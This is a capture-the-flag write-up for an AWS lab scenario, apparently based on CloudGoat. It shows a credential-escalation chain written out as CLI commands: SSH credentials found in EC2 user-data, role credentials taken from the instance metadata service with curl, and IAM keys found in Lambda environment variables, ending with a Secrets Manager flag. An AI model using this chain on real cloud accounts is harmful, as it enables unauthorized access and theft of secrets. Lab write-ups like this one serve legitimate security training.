> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/data-secrets.md).

# Data Secrets

{% embed url="<https://www.hacksmarter.org/courses/30e7f465-e589-4d44-86eb-4d3fb17e1f5f>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

The Hack Smarter Red Team started offering AWS Pentesting. The client's primary concern is whether an attacker is able to gain access to their Secrets Manager.

Your task is to begin with the starting credentials, and see if you're able to perform lateral movement & privilege escalation to gain access to their AWS Secrets Manager. This is where the final flag is located.

**AWS Pentesting Course**

If you are new to AWS Pentesting, we have a full course available: [Intro to AWS Pentesting](https://www.hacksmarter.org/courses/90bc8479-b808-4a39-9632-7e97ed4eb72f). Use this voucher to get an exclusive 10% discount on the course: `638b012a7510`.

## Summary

<details>

<summary>Summary</summary>

In Data Secrets we begin with limited AWS IAM credentials and enumerate accessible services within the target cloud environment. Discovering an EC2 instance through describe-instances, we extract its user-data, revealing base64-encoded initialization scripts that expose SSH credentials. Using these, we gain shell access as `ec2-user` on the instance and harvest temporary IAM credentials from the instance metadata service, assuming the attached `cg-ec2-role`. With expanded permissions, we enumerate Lambda functions and extract embedded environment variables containing additional IAM keys for a `lambda-user` account. Leveraging this higher-privilege identity, we access AWS Secrets Manager and retrieve the `cg-final-flag` secret.

</details>

## Setup

### Whitelist IP & Creation Of The Scenario <a href="#whitelist-ip-and-creation-of-the-scenario" id="whitelist-ip-and-creation-of-the-scenario"></a>

We access the lab environment via the provided web interface to ensure our IP is whitelisted and the scenario is properly initialized.

```
http://[machine-ip]:8000
```

<figure><img src="/files/XUkcw1jZEhnxlsYaVVF4" alt=""><figcaption></figcaption></figure>

From the Command Output we can retrieve the `access_key` and `secret_access_key` to configure our aws profile to access the lab environment.

<figure><img src="/files/85cddvizMIB27kchdFqt" alt=""><figcaption></figcaption></figure>

### Configure Profile <a href="#configure-profile" id="configure-profile"></a>

We configure a dedicated AWS CLI profile using the provided credentials.

```
aws configure --profile data-secrets
```

<figure><img src="/files/fpN7KZUJ20aELuvmUK5Q" alt=""><figcaption></figcaption></figure>

### Verify Access <a href="#verify-access" id="verify-access"></a>

We confirm that the credentials are valid and identify the AWS account and IAM principal we are operating as.

```
aws sts get-caller-identity --profile data-secrets
```

<figure><img src="/files/e3ciqulFPhL7pLUnd6Eh" alt=""><figcaption></figcaption></figure>

## Recon

The focus of this scenario is solely on AWS. We have credentials and are trying to extend our privileges to gain access to the AWS Secrets Manager, where the final flag is hidden.

While solving the scenario, I found the following resource very helpful, as it provides us with a checklist that we can use to test.

During the reconnaissance phase, we attempt to identify and locate various key resources in the AWS environment.

Including EC2 instances, S3 buckets, lambda functions.

{% embed url="<https://medium.com/@urshilaravindran/aws-pentesting-checklist-f46b7ca798b7>" %}

The scenario is generous, and with the credentials available, we only have limited access.&#x20;

We list the running EC2 instances and find one, but nothing else, so we focus on this for now.

{% hint style="info" %}
Amazon EC2 (Elastic Compute Cloud) instances are virtual servers provided by Amazon Web Services that run applications in the cloud.&#x20;
{% endhint %}

```
aws ec2 describe-instances --profile data-secrets
```

<figure><img src="/files/dkM1B1caW8FmQeEkvyUD" alt=""><figcaption></figcaption></figure>

{% code title="EC2 Instances" expandable="true" %}

```json
    {
    "Reservations": [
        {
            "ReservationId": "r-020df7e40d3ea6538",
            "OwnerId": "703671921227",
            "Groups": [],
            "Instances": [
                {
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/xvda",
                            "Ebs": {
                                "AttachTime": "2026-01-17T18:37:16.000Z",
                                "DeleteOnTermination": true,
                                "Status": "attached",
                                "VolumeId": "vol-0d3f89ea02031ab91"
                            }
                        }
                    ],
                    "ClientToken": "terraform-20260117183714995300000004",
                    "EbsOptimized": false,
                    "EnaSupport": true,
                    "Hypervisor": "xen",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::703671921227:instance-profile/cg-ec2-instance-profile-cgidu3qlm2sdqf",
                        "Id": "AIPA2HVQ5NJFXQCAXM5QR"
                    },
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "",
                                "PublicIp": "54.205.39.29"
                            },
                            "Attachment": {
                                "AttachTime": "2026-01-17T18:37:16.000Z",
                                "AttachmentId": "eni-attach-02408c3b3d3ad7116",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached",
                                "NetworkCardIndex": 0
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupId": "sg-05f68f127fa8748eb",
                                    "GroupName": "cg-sg-cgidu3qlm2sdqf"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "0e:f7:1c:e1:82:83",
                            "NetworkInterfaceId": "eni-0f09813f8264252ef",
                            "OwnerId": "703671921227",
                            "PrivateIpAddress": "10.0.1.15",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "",
                                        "PublicIp": "54.205.39.29"
                                    },
                                    "Primary": true,
                                    "PrivateIpAddress": "10.0.1.15"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use",
                            "SubnetId": "subnet-0f5447bf92b4424d7",
                            "VpcId": "vpc-010944c765ec0a5de",
                            "InterfaceType": "interface",
                            "Operator": {
                                "Managed": false
                            }
                        }
                    ],
                    "RootDeviceName": "/dev/xvda",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupId": "sg-05f68f127fa8748eb",
                            "GroupName": "cg-sg-cgidu3qlm2sdqf"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Scenario",
                            "Value": "scenario_template"
                        },
                        {
                            "Key": "Name",
                            "Value": "cg-sensitive-ec2-cgidu3qlm2sdqf"
                        },
                        {
                            "Key": "Stack",
                            "Value": "CloudGoat"
                        }
                    ],
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 2
                    },
                    "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                        "Configured": false
                    },
                    "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 1,
                        "HttpEndpoint": "enabled",
                        "HttpProtocolIpv6": "disabled",
                        "InstanceMetadataTags": "disabled"
                    },
                    "EnclaveOptions": {
                        "Enabled": false
                    },
                    "PlatformDetails": "Linux/UNIX",
                    "UsageOperation": "RunInstances",
                    "UsageOperationUpdateTime": "2026-01-17T18:37:16.000Z",
                    "PrivateDnsNameOptions": {
                        "HostnameType": "ip-name",
                        "EnableResourceNameDnsARecord": false,
                        "EnableResourceNameDnsAAAARecord": false
                    },
                    "MaintenanceOptions": {
                        "AutoRecovery": "default",
                        "RebootMigration": "default"
                    },
                    "CurrentInstanceBootMode": "legacy-bios",
                    "NetworkPerformanceOptions": {
                        "BandwidthWeighting": "default"
                    },
                    "Operator": {
                        "Managed": false
                    },
                    "InstanceId": "i-00a020ebb06f46033",
                    "ImageId": "ami-0771b6766e1e61632",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "PrivateDnsName": "ip-10-0-1-15.ec2.internal",
                    "PublicDnsName": "",
                    "StateTransitionReason": "",
                    "AmiLaunchIndex": 0,
                    "ProductCodes": [],
                    "InstanceType": "t3.micro",
                    "LaunchTime": "2026-01-17T18:37:16.000Z",
                    "Placement": {
                        "AvailabilityZoneId": "use1-az6",
                        "GroupName": "",
                        "Tenancy": "default",
                        "AvailabilityZone": "us-east-1a"
                    },
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "SubnetId": "subnet-0f5447bf92b4424d7",
                    "VpcId": "vpc-010944c765ec0a5de",
                    "PrivateIpAddress": "10.0.1.15",
                    "PublicIpAddress": "54.205.39.29"
                }
            ]
        }
    ]
}

```

{% endcode %}

Our IAM user is allowed to describe the EC2 instance. This allows us to view information about EC2 instances in the account, including instance IDs, public/private IPs, security groups, IAM instance profiles, and metadata settings. It is read-only access, meaning we can enumerate infrastructure but cannot start, stop, modify, or access the instance itself - for now.

From our enumeration we note down the following public ip of the instance:

```
54.205.39.29
```

Furthermore the id:&#x20;

```
i-00a020ebb06f46033
```

Next, we perform a simple port scan on the instance. We see SSH is available.

```
nmap -Pn 54.205.39.29
```

<figure><img src="/files/dAtH6eUG8j8830WTDtn2" alt=""><figcaption></figcaption></figure>

## Shell as ec2-user

We try to dump the user-data and find a base64 string ...

{% code overflow="wrap" %}

```
aws ec2 describe-instance-attribute --instance-id i-00a020ebb06f46033 --attribute userData --profile data-secrets
```

{% endcode %}

<figure><img src="/files/vzi1wR74VT35ItKpmLMe" alt=""><figcaption></figcaption></figure>

.. .it's a script that sets the password for the `ec2-user` and enables password authentication.

<figure><img src="/files/ZtxjuPRmsiUil1mvBxFm" alt=""><figcaption></figcaption></figure>

We use the credentials to log in to the EC2 instance, and are able to connect.&#x20;

```
ssh ec2-user@54.205.39.29
```

<figure><img src="/files/gZa88Z6QBwSP86qYwQ4w" alt=""><figcaption></figcaption></figure>

## Access as cg-ec2

**EC2 Instance Profile Exploitation**&#x20;

We check our identity and see we have the following role `cg-ec2-role-cgidu3qlm2sdqf` available.

```
aws sts get-caller-identity
```

<figure><img src="/files/6cioBi7BY4kOBd18tZTW" alt=""><figcaption></figcaption></figure>

We reuse our following resource and re-iterate the steps for another recon phase with the new permissions attached to the EC2 instance.

{% embed url="<https://medium.com/@urshilaravindran/aws-pentesting-checklist-f46b7ca798b7>" %}

&#x20;We can query the metadata service like the following.

```
curl http://169.254.169.254/latest/meta-data/
```

If we attach the role to the query we are also able to retrieve the credentials for that role.

{% code overflow="wrap" %}

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidu3qlm2sdqf
```

{% endcode %}

<figure><img src="/files/Sd6DDOqmdufXiFMbeSKN" alt=""><figcaption></figcaption></figure>

## Access as lambda-user

We continue on the instance and the perform the other actions from the checklist. While attempting to list lambda functions, we find the credentials of a so-called DB user.

{% embed url="<https://medium.com/@urshilaravindran/aws-pentesting-checklist-f46b7ca798b7>" %}

```
aws lambda list-functions --region us-east-1
```

<figure><img src="/files/VAuHHSV42ExX7HHBBciW" alt=""><figcaption></figcaption></figure>

```
aws lambda get-function --function-name cg-lambda-function-cgidu3qlm2sdqf --region us-east-1
```

<figure><img src="/files/6jNWifYGOBjukukzcue0" alt=""><figcaption></figcaption></figure>

We configure another profile on our attacker machine with the credentials found...

```
aws configure --profile db-user
```

<figure><img src="/files/3OiaNUUTVvz7sVMme9x5" alt=""><figcaption></figcaption></figure>

... and have access. We are actually `lambda-user`.

```
aws sts get-caller-identity --profile data-secrets
```

<figure><img src="/files/lRz7dxXOMU8eBRQQsk5h" alt=""><figcaption></figcaption></figure>

## Retrieve the secrets

We use this user to try to access the Secrets Manager. The former checklist recommends checking these as final recommendations in a pentest, but how to access them is not explained.

We look at the official documentation:

{% embed url="<https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_cli.html>" %}

```
aws secretsmanager help
```

We found the following resource: `cg-final-flag-cgidu3qlm2sdqf`.

```
aws secretsmanager list-secrets --profile db-user
```

<figure><img src="/files/72TpUjvzm3b4G38lkh58" alt=""><figcaption></figcaption></figure>

We query the value of that and retrieve the flag.

{% code overflow="wrap" %}

```
aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidu3qlm2sdqf --region us-east-1 --profile db-user --query SecretString --output text
```

{% endcode %}

<figure><img src="/files/r8drfas5k86pZgpaCfjK" alt=""><figcaption></figcaption></figure>